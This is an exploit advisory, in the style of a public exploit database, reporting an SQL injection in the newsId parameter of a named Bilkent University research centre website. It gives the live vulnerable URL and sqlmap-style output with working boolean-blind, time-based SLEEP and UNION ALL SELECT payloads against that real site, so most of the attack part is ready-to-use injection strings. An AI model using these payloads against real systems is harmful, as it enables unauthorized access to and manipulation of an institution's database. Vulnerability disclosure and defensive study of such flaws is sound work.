###################################################################
# Exploit Title : Bilkent University Communications Theory and Applications Research SQL Injection
# Author [ Discovered By ] : Furkan Özer
# Date : 11/01/2020
# Vendor Homepage : ctar.bilkent.edu.tr
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
###################################################################
# Impact :
***********
Bilkent University Communications Theory and Applications Research SQL Injection vulnerability because
it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or
modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.
###################################################################
# SQL Injection Exploit :
**********************
/News.php?newsId=6[SQL Injection]
###################################################################
# Example Vulnerable Sites :
*************************
[+] http://ctar.bilkent.edu.tr/News.php?newsId=6'Q
###################################################################
back-end DBMS 'mysql'
Parameter: newsId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: newsId=6' AND 5665=5665 AND 'VWem'='VWem
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: newsId=6' AND (SELECT 2692 FROM (SELECT(SLEEP(5)))UVxa) AND 'oYHY'='oYHY
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: newsId=6' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71786a6b71,0x67536876587a686a577557416b54705874414f666278414555506a726774557775774f5849636663,0x7178766a71),NULL-- fJZx
---